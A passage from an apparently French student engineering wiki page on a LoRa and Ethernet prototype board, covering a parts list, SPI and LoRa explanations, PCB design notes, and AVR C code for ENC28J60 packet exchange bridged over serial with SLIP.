 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/ftdi/ft232bl-tr/usb-to-uart-lqfp32-232/dp/9519769] MOUSER [http://www.mouser.fr/ProductDetail/FTDI/FT232RL-TUBE/?qs=sGAEpiMZZMs5ceO8zL%252bTx2H7JnbI4GMI]&lt;br /&gt;
 |-&lt;br /&gt;
 | Diode&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/s1a/diode-cms-1-0a-50v/dp/7277920?ost=DIODE+7277920&amp;amp;selectedCategoryId=&amp;amp;categoryNameResp=Toutes%2Bles%2Bcat%25C3%25A9gories&amp;amp;searchView=table&amp;amp;iscrfnonsku=false]&lt;br /&gt;
 |-&lt;br /&gt;
 | Regulateur 78ADJ  LDO Tension fixe&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/on-semiconductor/mc33269dt-5-0g/ic-linear-voltage-regulator/dp/1652331?ost=1652331&amp;amp;selectedCategoryId=&amp;amp;categoryName=Toutes+les+cat%C3%A9gories&amp;amp;categoryNameResp=Toutes%2Bles%2Bcat%25C3%25A9gories]&lt;br /&gt;
 |-&lt;br /&gt;
 | LED yellow&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/ovs-0806/led-0805-super-brt-yellow/dp/1716767]&lt;br /&gt;
 |-&lt;br /&gt;
 | LED orange&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell&lt;br /&gt;
 |-&lt;br /&gt;
 | LED green&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/ovs-0804/led-0805-green-300mcd-520nm/dp/1716766]&lt;br /&gt;
 |-&lt;br /&gt;
 | LED blue&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/ovs-0603/led-0603-super-bright-blue/dp/1716770]&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Partie LoRa&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | Module radio de type RF-LORA-868-SX1276&lt;br /&gt;
 | 4&lt;br /&gt;
 | 4&lt;br /&gt;
 | 4&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/Semtech/SX1276IMLTRT/?qs=%2fha2pyFadugD0GFlntRWMUKdf7nvBipcWBFnZuVONfp58bvCDWvC3g%3d%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 10uF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/murata/grm188r60j106ke47d/condens-mlcc-x5r-10uf-6-3v-0603/dp/2494230]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 100nF&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603b104k500ct/condensateur-mlcc-x7r-100nf-50v/dp/1759122]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 47pF |&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n470j500ct/condensateur-mlcc-c0g-np0-47pf/dp/1759062]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 15pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n150j500ct/condensateur-mlcc-c0g-np0-15pf/dp/1759055]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 10nF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603b103k500ct/condensateur-mlcc-x7r-10nf-50v/dp/1759102]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1.5pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n1r5c500ct/condensateur-mlcc-c0g-np0-1-5pf/dp/1759042]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 33pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n330j500ct/condensateur-mlcc-c0g-np0-33pf/dp/1759059]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 4.7pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603n4r7c500ct/condensat-mlcc-np0-4-7pf-50v-0603/dp/2524896]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1.2pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/yageo-phycomp/cc0603crnpo9bn1r2/condensateur-mlcc-c0g-np0-1-2pf/dp/721852]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1.8pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603n1r8c500ct/condensat-mlcc-np0-1-8pf-50v-0603/dp/2524881]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 3.3pF |&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603n3r3c500ct/condensat-mlcc-np0-3-3pf-50v-0603/dp/2524894]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1nF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603b102k500ct/condensateur-mlcc-x7r-1nf-50v/dp/1759088]&lt;br /&gt;
 |-&lt;br /&gt;
 | Inductance 33nH&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/tdk/mlg1608b33nj/inductance-hf-33nf-0603/dp/1669604]&lt;br /&gt;
 |-&lt;br /&gt;
 | Inductance 6.2nH (0402)&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/tdk/mlg1005s6n2s/inductance-hf-6-2nf-0402/dp/1669585]&lt;br /&gt;
 |-&lt;br /&gt;
 | Inductance 10nH&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mcft000043/inductance-0603-10nh/dp/1711753]&lt;br /&gt;
 |-&lt;br /&gt;
 | Resistances 1KΩ&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/panasonic-electronic-components/erj3geyj102v/res-couche-epaisse-1k-5-0-1w-0603/dp/2059601]&lt;br /&gt;
 |-&lt;br /&gt;
 | Quartz 32MHz(16pF)&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/epson/x1e0000210391-tsx-3225-32mhz-16pf/quartz-32mhz-16pf-3-2-x-2-5mm/dp/2471844]&lt;br /&gt;
 |-&lt;br /&gt;
 | Regulateur PE4259&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Digi-Key [http://www.digikey.fr/product-detail/fr/peregrine-semiconductor/4259-63/1046-1011-1-ND/2614515?WT.srch=1&amp;amp;mkwid=s2ceNN64k&amp;amp;pcrid=78125697774&amp;amp;pkw=_cat%3Adigikey.fr&amp;amp;pmt=b&amp;amp;pdv=c] Farnell[http://fr.farnell.com/skyworks-solutions/as179-92lf/ic-switch-rf-spdt-0-02-3-0ghz/dp/1753762]&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Deuxième prototype (à base d'un ARM-3 Cortex)&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 |&amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Autres cartes&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | 32u4 RFM95 LoRa Radio - 868 or 915 MHz&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Adafruit [https://www.adafruit.com/product/3078]&lt;br /&gt;
 |-&lt;br /&gt;
 | Prototype carte developpement MBED&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | [http://fr.farnell.com/nxp/om11043/kit-carte-de-prototypage-mbed/dp/1761179]&lt;br /&gt;
 |-&lt;br /&gt;
 | Kit Board developpement MBED&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | [http://fr.rs-online.com/web/p/kits-de-developpement-pour-processeurs-et-microcontroleurs/7694182/?searchTerm=769-4182&amp;amp;relevancy-data=636F3D3126696E3D4931384E525353746F636B4E756D6265724D504E266C753D656E266D6D3D6D61746368616C6C26706D3D5E283F69292852537C5253207C52532D293F5C647B337D285C73293F5B5C732D2F255C2E2C5D285C73293F5C647B332C347D2426706F3D313426736E3D592673743D52535F53544F434B5F4E554D4245522677633D4E4F4E45267573743D3736392D34313832267374613D3736393431383226]&lt;br /&gt;
 |-&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
===Liste du matériel===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:NEWListe_du_matériel-IMA5-PFE19.ods]]&lt;br /&gt;
&lt;br /&gt;
= Premier prototype =&lt;br /&gt;
&lt;br /&gt;
La carte est composée de 3 parties principales : partie Ethernet, partie uC AtMega328P , partie LoRa.&lt;br /&gt;
&lt;br /&gt;
Le rôle du micro-contrôleur est de traiter les informations qui lui parviennent , interfacer et contrôler les communications entre  les périphériques.&lt;br /&gt;
&lt;br /&gt;
La partie LoRa est gérée par un émetteur-recepteur SX1276 doté d'un modem LoRa de chez Semtech offrant une communication longue portée. Cette communication repose sur le principe de la modulation à étalement de spectre.&lt;br /&gt;
&lt;br /&gt;
=== Qu'est ce qu'une modulation à étalement de spectre LoRa? ===&lt;br /&gt;
&lt;br /&gt;
Le modem LoRa utilise une technique exclusive de modulation du spectre étalé opérant dans la bande de fréquences ISM. Cette technique est plus résistante aux interférences et au bruit  dans la bande.&lt;br /&gt;
&lt;br /&gt;
La modulation LoRa repose sur le même principe que la modulation DSSS( Direct Sequence Spread Spectrum)  qui consiste donc à  générer de la redondance d’information à chaque envoi d’une séquence de bits.  Ainsi les bits reçus qui n’utilisent pas le même codage seront rejetés (dont les signaux d’interférence ou le bruit).  Le récepteur peut ainsi reconnaître l’émetteur.&lt;br /&gt;
Dans la modulation LoRa, l'étalement de spectre est obtenu en générant un signal qui  varie continuellement en fréquence et occupe toute la bande passante.&lt;br /&gt;
&lt;br /&gt;
// schéma&lt;br /&gt;
&lt;br /&gt;
=== Alimentation ===&lt;br /&gt;
Pour fonctionner la carte a besoin d'alimentation.La carte fonctionnant sous une tension de 5V ,il a été convenu qu'elle sera alimentée via un port USB. &lt;br /&gt;
&lt;br /&gt;
=== Interfaçage ===&lt;br /&gt;
Les périphériques reliés au microcontrôleur communiqueront avec ce dernier via la liaison SPI. Le bus  SPI est un bus série synchrone constitué de 4 signaux logiques. &lt;br /&gt;
SCK,MOSI,SS générés par le maître et MISO généré par l'esclave. Le maître s'occupe de la communication. Plusieurs esclaves peuvent communiquer sur le même bus à condition qu'il y ait une ligne de sélection dédiée à chaque esclave.&lt;br /&gt;
&lt;br /&gt;
NB : Le uC AtMEGA328P ne disposant que d'une seule ligne de sélection SS nous sommes confrontés au problème de liaison d' un périphérique supplémentaire.&lt;br /&gt;
Solution: Nous allons donc configurer un I/O comme un SS afin d'avoir autant de SS que de périphériques esclaves.&lt;br /&gt;
&lt;br /&gt;
Fonctionnement de l'interface SPI du SX1278 : &lt;br /&gt;
&lt;br /&gt;
La communication est simultanée entre un maître et un esclave. Le maître génère l'horloge et sélectionne un esclave. A chaque coup d'horloge , le maître transmet un bit à l'esclave.&lt;br /&gt;
&lt;br /&gt;
MOSI est généré par le maître sur le front descendant de SCK et est échantillonné par l'esclave sur le front montant de SCK tandis que MISO est généré par l'esclave sur le bord descendant de SCK.&lt;br /&gt;
&lt;br /&gt;
Le  transfert est déclenché lorsque NSS est à l'état bas . MISO est alors en haute impédance lorsque NSS est à l'état haut.&lt;br /&gt;
&lt;br /&gt;
*Le premier octet envoyé est l'octet d'adresse. Il comprend:&lt;br /&gt;
  * Un bit wnr, 1 pour l'accès en écriture et 0 pour l'accès en lecture.&lt;br /&gt;
  * suivi de 7 bits d'adresse(MSB en premier).&lt;br /&gt;
&lt;br /&gt;
*Le deuxième octet est un octet de données, soit envoyé sur MOSI par le maître en cas d'accès en écriture ou reçu par le maître sur MISO en cas d'accès en lecture. L'octet de données est transmis MSB en premier.&lt;br /&gt;
&lt;br /&gt;
Les octets de traitement peuvent être envoyés sur MOSI (pour accès en écriture) ou reçus sur MISO (pour accès en lecture) sans un front montant du NSS et renvoyer l'adresse.&lt;br /&gt;
&lt;br /&gt;
La transmission de la trame se termine lorsque NSS passe à l'état haut. &lt;br /&gt;
&lt;br /&gt;
Pendant l'accès en écriture, l'octet transféré de l'esclave au maître sur la ligne MISO est la valeur de l'écriture avant l'opération d'écriture.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Liaison_Maitre-esclave.jpg|500px|center|Carte Ethernet]]&lt;br /&gt;
&lt;br /&gt;
Transmission d'une trame SPI LoRa en mode simple accès&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Simple_access_lora.jpg|Transmission trame SPI LoRa|500px|center]]&lt;br /&gt;
&lt;br /&gt;
=== Machine d'états===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Réalisation des cartes PCB===&lt;br /&gt;
====La carte PCB====&lt;br /&gt;
----&lt;br /&gt;
Depuis quelques séances, nous avons commencé à réaliser notre carte PCB  qui contient la partie Ethernet  , Microcontrôleur et LoRa à l'aide du logiciel Altium. &lt;br /&gt;
Dans un premier temps nous avons d'abord réalisé les librairies Altium des composants dont nous ne disposons pas. La réalisation des librairies consiste en 2 étapes : schématique et empreinte. Il s'agit donc des composants tels que : le chip SX1276, régulateur PE4259 et le connecteur SI-50196-F. &lt;br /&gt;
&lt;br /&gt;
Voici leurs schématiques et footprints : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:sx1276.PNG|Schematique de Lora SX1276&lt;br /&gt;
Fichier:Connector.PNG‎|Schematique de connecteur SI-50196-F&lt;br /&gt;
Fichier:pe4259.PNG‎|Schématique de régulateur PE4259&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:Con_footprint.PNG|Footprint de connecteur SI-50196-F&lt;br /&gt;
Fichier:pe4259foot.PNG‎|Footprint de régulateur PE4259&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 Il conviendra de préciser que quelques librairies utilisées sont disponibles et téléchargeables sur le site d'Altium Designer et peuvent être installées sur le logiciel Altium de l'école.&lt;br /&gt;
 http://techdocs.altium.com/display/ADOH/Download+Libraries&lt;br /&gt;
&lt;br /&gt;
Cependant nous avons eu un problème du connecteur, puisque normalement pour les autres composants les pistes sont reliés avec les composants qui sont autours sur le schématique et le routage. Mais après avoir vu la carte que nous avons, pour la partie du connecteur il faut créer une cadre pour fixer la place du connecteur sur la carte PCB.&lt;br /&gt;
&lt;br /&gt;
Parallèlement nous avons réalisé la première étape de la conception d'une carte électronique : la réalisation de la schématique. Ci-dessous les schématiques des différentes parties de la carte&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:Ethernet.PNG|Ethernet_Sch&lt;br /&gt;
Fichier:AT328P.PNG|AT328P.PNG_Sch&lt;br /&gt;
Fichier:RF_LoRa.PNG‎|RF_LoRa.PNG_Sch&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Très vite, nous avons entamé la deuxième étape de la conception : le routage. En raison des contraintes de temps, nous allons d'abord produire la partie RF_LoRa afin de pouvoir avancer sur la partie programmation.&lt;br /&gt;
&lt;br /&gt;
====Routage du PCB====&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Le routage consiste à déterminer la route des signaux d'alimentation qui vont relier les composants entre eux et à placer les composants sur la carte.  La carte a été conçue en respectant quelques contraintes de conception dimensionnelles : &lt;br /&gt;
 *la valeurs théoriques de conception sont *largeur des pistes = *,&lt;br /&gt;
 * l'angle entre les pistes ne doit pas être droit, &lt;br /&gt;
 *la carte est en double face, &lt;br /&gt;
&lt;br /&gt;
[[Fichier:CartePCB.PNG‎|500px|center|PCB de la carte]]&lt;br /&gt;
&lt;br /&gt;
==== Réalisation de l'antenne ====&lt;br /&gt;
----&lt;br /&gt;
La carte nécessite une antenne pour la communication RF. En concevant la carte , nous avons désigné la piste reliée à l'antenne de telle sorte qu'elle soit adaptée à 50 ohms (afin d'éviter toute perte de puissance liée à la désadaptation). Nous avons donc utilisé le logiciel AppCAD en prenant en compte certains paramètres tels que le substrat utilisé, la fréquence de fonctionnement,..&lt;br /&gt;
[[Fichier:Sonia.png‎|500px|center|Design de l'antenne]]&lt;br /&gt;
&lt;br /&gt;
====La programmation====&lt;br /&gt;
----&lt;br /&gt;
La carte sera programmée en langage C, langage de programmation modulaire.&lt;br /&gt;
&lt;br /&gt;
Le langage a été choisi pour son caractère universel, sa rapidité, proche du langage machine permettant une programmation simple des microcontrôleurs,..&lt;br /&gt;
 &lt;br /&gt;
*&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt; Partie LoRa &amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
semaine 07/11/2016: Ecriture des fonctions d'écriture et de lecture de l'AtMega (digitalWrite() et digitalRead()) en C qui nous permettront d'écrire les fonctions d'écriture et de lecture SPI.&lt;br /&gt;
&lt;br /&gt;
semaine 14/11/2016 : Ecriture des librairies LoRa et AtMega ainsi que des fichiers de compilation.&lt;br /&gt;
&lt;br /&gt;
Le programme est subdivisé en 5 parties : partie configuration des entrées sorties, partie gestion de la liaison SPI , partie gestion de la modulation LoRa ainsi que les parties gérant les modules émetteurs et récepteurs de la communication RF (Client-Server).&lt;br /&gt;
Le programme est compilable. Nous allons d'abord faire des tests basiques sur un Arduino et ensuite nous testerons sur les modules inAir9 de chez modtronix.&lt;br /&gt;
&lt;br /&gt;
Après avoir retranscrit les bibliothèques en C, nous avons tenté de faire un test. On s'est vite rendu compte que les fonctions SPI étaient mal écrites, elles ont été réécrites en utilisant les registres SPI de l'AtMega328P.&lt;br /&gt;
Nous avons également réalisé 3  ponts diviseurs permettant de fournir des tensions supportables par les broches du modem LoRa.&lt;br /&gt;
Cependant,   &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
*&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Partie Ethernet  &amp;lt;/span&amp;gt;&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Pour la partie Ethernet, dans un premier temps nous avons écrit deux petits programmes pour l'émetteur et le récepteur. &lt;br /&gt;
Voici le code pour l'émetteur&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
#include &amp;lt;avr/io.h&amp;gt;&lt;br /&gt;
#include &amp;lt;util/delay.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#include &amp;quot;serial.h&amp;quot;&lt;br /&gt;
#include &amp;quot;spi.h&amp;quot;&lt;br /&gt;
#include &amp;quot;enc28j60.h&amp;quot;&lt;br /&gt;
&lt;br /&gt;
#define MAX_PACKET     128&lt;br /&gt;
#define MAC_SIZE           6&lt;br /&gt;
#define TYPE_SIZE           2&lt;br /&gt;
&lt;br /&gt;
unsigned char mac_sender[]={0x00,0x10,0x10,0x10,0x10,0x01};&lt;br /&gt;
unsigned char mac_receiver[]={0x00,0x10,0x10,0x10,0x10,0x02};&lt;br /&gt;
unsigned char packet_type[]={0x11,0x11};&lt;br /&gt;
unsigned char packet[MAX_PACKET];&lt;br /&gt;
&lt;br /&gt;
int main(void])&lt;br /&gt;
{&lt;br /&gt;
init_printf();&lt;br /&gt;
spi_init();&lt;br /&gt;
enc28j60Init(mac_sender);&lt;br /&gt;
unsigned char version=enc28j60getrev();&lt;br /&gt;
printf(&amp;quot;revision: %d\n&amp;quot;,version);&lt;br /&gt;
memcpy(packet,mac_receiver,MAC_SIZE);&lt;br /&gt;
memcpy(packet+MAC_SIZE,mac_sender,MAC_SIZE);&lt;br /&gt;
memcpy(packet+2*MAC_SIZE,packet_type,2);&lt;br /&gt;
packet[2*MAC_SIZE+2]=0xaa;&lt;br /&gt;
packet[2*MAC_SIZE+3]=0xbb;&lt;br /&gt;
int len=2*MAC_SIZE+TYPE_SIZE+3;&lt;br /&gt;
unsigned char count=0;&lt;br /&gt;
while(1){&lt;br /&gt;
		packet[2*MAC_SIZE+4]=count++;&lt;br /&gt;
                enc28j60PacketSend(len,packet);&lt;br /&gt;
                printf(&amp;quot;Packet send size=%d\n&amp;quot;,len);&lt;br /&gt;
                _delay_ms(1000);&lt;br /&gt;
                }&lt;br /&gt;
		return 0;		&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Et le code pour le récepteur&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void])&lt;br /&gt;
{&lt;br /&gt;
init_printf();&lt;br /&gt;
spi_init();&lt;br /&gt;
enc28j60Init(mac_receiver);&lt;br /&gt;
unsigned char version=enc28j60getrev();&lt;br /&gt;
printf(&amp;quot;revision: %d\n&amp;quot;,version);&lt;br /&gt;
while(1){&lt;br /&gt;
                int size=enc28J60PacketReceive(MAX_PACKET,packet);&lt;br /&gt;
                printf(&amp;quot;Packet received size=%d\n&amp;quot;,size);&lt;br /&gt;
                int i,col=0;&lt;br /&gt;
                for(i=2*MAC_SIZE+TYPE_SIZE;i&amp;lt;size;i++){&lt;br /&gt;
                     printf(&amp;quot;%02x&amp;quot;,packet[i]);&lt;br /&gt;
                     col++;&lt;br /&gt;
                     if(col==16){ printf(&amp;quot;\n&amp;quot;); col=0);}&lt;br /&gt;
                     }&lt;br /&gt;
                if(col&amp;gt;0) printf&amp;quot;\n&amp;quot;);&lt;br /&gt;
                _delay_ms(1000);&lt;br /&gt;
                }&lt;br /&gt;
		return 0;		&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ces deux codes permettent l'émetteur et le récepteur de communiquer entre eux. &lt;br /&gt;
&lt;br /&gt;
[[Fichier:communication.jpg|400px|center|La communication entre l'émetteur et le récepteur]]&lt;br /&gt;
&lt;br /&gt;
Avec le minicom, nous avons bien observé les données qui sont envoyées par l'émetteur et les données qui sont reçues par le récepteur.&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons développé notre idée. Voici une image pour mieux expliqué comment cela fonctionne.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
[[Fichier:Untitled drawing.jpg|400px|thumb|center|Objectif du second prototype]]&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La carte ethernet1 doit arriver à recevoir des paquets ethernet du PC1 par la liaison série. Ensuite elle doit envoyer ces paquets à Arduino1 via SPI. Après l'Arduino1 va envoyer ces paquets par TX et RX. Une fois qu'Arduino2 reçoit ces paquet, il doit être capable d'envoyer des paquets à la carte ethernet2. Au final la carte ethernet2 doit envoyer toutes des données reçues à PC2. La transmission doit être bidirectionnel. &lt;br /&gt;
Pour réussir ce but, nous avons divisé le travail en deux partie. Dans un premier temps, nous avons programmé une carte comme serveur et l'autre carte comme client. Et nous devions réaliser des taches marquées ci-dessous:&lt;br /&gt;
&lt;br /&gt;
* si un paquet est reçu par le ENC28j60 alors le recopier dans le tableau Ethernet&lt;br /&gt;
* si un paquet est présent dans le tableau Ethernet, envoyer l'octet courant sur le port série&lt;br /&gt;
* si un octet arrive sur le port série le stocker dans le tableau Serie&lt;br /&gt;
* si le paquet dans le tableau Serie est complet, l'envoyer sur Ethernet&lt;br /&gt;
&lt;br /&gt;
Lorsque nous envoyons des paquets via TX/RX donc ceux sont des paquets SLIP. Pour analyser des paquets, il faut chercher le début et la fin de la trame. Le protocole SLIP modifie le paquet IP de la manière suivante&lt;br /&gt;
&lt;br /&gt;
* ajout d'un octet END afin de séparer les différents paquets&lt;br /&gt;
* si l'octet END est présent dans le paquet, il est remplacé par une séquence de deux octets ESC et ESC_END&lt;br /&gt;
* si l'octet ESC est présent dans le paquet, il est remplacé par une séquence de deux octets ESC et ESC_ESC&lt;br /&gt;
* une variante du protocole peut commencer et finir les paquets par l'octet END&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
[[Fichier:slip.png|400px|thumb|center|Les valeurs des octets modifiées sont les suivantes]]&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Basé sur ce protocole, nous avons donc écrit le code ci-dessous  &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_printf();&lt;br /&gt;
spi_init();&lt;br /&gt;
enc28j60Init(mac_receiver); //enc28j60Init(mac_sender) pour l'émetteur&lt;br /&gt;
unsigned char version=enc28j60getrev();&lt;br /&gt;
printf(&amp;quot;revision: %d\n&amp;quot;,version);&lt;br /&gt;
while(1){&lt;br /&gt;
  if(nb_ethernet==0{&lt;br /&gt;
    nb_ethernet=enc28j60PacketReceiver(MAX_BYTES,packet_ethernet);&lt;br /&gt;
    if(nb_ethernet!=0) index_ethernet=0;&lt;br /&gt;
    }&lt;br /&gt;
  if(nb_ethernet&amp;gt;0){&lt;br /&gt;
    if(index_ethernet&amp;lt;nb_ethernet){&lt;br /&gt;
      unsigned char c=packet_ethernet[index_ethernet++];&lt;br /&gt;
      if(c==SLIP_END){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_END); }&lt;br /&gt;
      else if(c==SLIP_ESC){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC); }&lt;br /&gt;
      else send_serial(c);&lt;br /&gt;
      }&lt;br /&gt;
    else{ send_serial(SLIP_END); nb_ethernet=0; } &lt;br /&gt;
    }  &lt;br /&gt;
  if(serial_available()){&lt;br /&gt;
    unsigned char c=get_serial();&lt;br /&gt;
    if(c==SLIP_ESC){&lt;br /&gt;
      unsigned char code=get_serial();&lt;br /&gt;
      if(code==SLIP_CODE_END) packet_serial[nb_serial++]=SLIP_END;&lt;br /&gt;
      else if(code==SLIP_CODE_ESC) packet_serial[nb_serial++]=SLIP_ESC;&lt;br /&gt;
      }&lt;br /&gt;
    else if(c==SLIP_END){ enc28j60PacketSend(nb_serial,packet_serial); nb_serial=0; }&lt;br /&gt;
    else packet_serial[nb_serial++]=c;&lt;br /&gt;
    }&lt;br /&gt;
  }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 Ensuite pour visualiser les transmissions des données, nous avons utilisé une commande&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
tcpdump -vvvv -n -Xe -ieth0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Cette commande permet de savoir le type et les contenues d'un packet. Quelques options importantes pour tcpdump &lt;br /&gt;
*-n: tcpdump ne convertira pas les adresses et les numéros de ports en leurs noms.&lt;br /&gt;
*-i nom_interface : permet de choisir l'interface d'écoute. &lt;br /&gt;
*-v : permet d'afficher encore plus d'informations sur les paquets, il y a trois niveaux de verbosité.&lt;br /&gt;
* -X : affiche les paquets en hexadécimal et en ASCII. &lt;br /&gt;
Donc sur le terminal nous avons eu &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
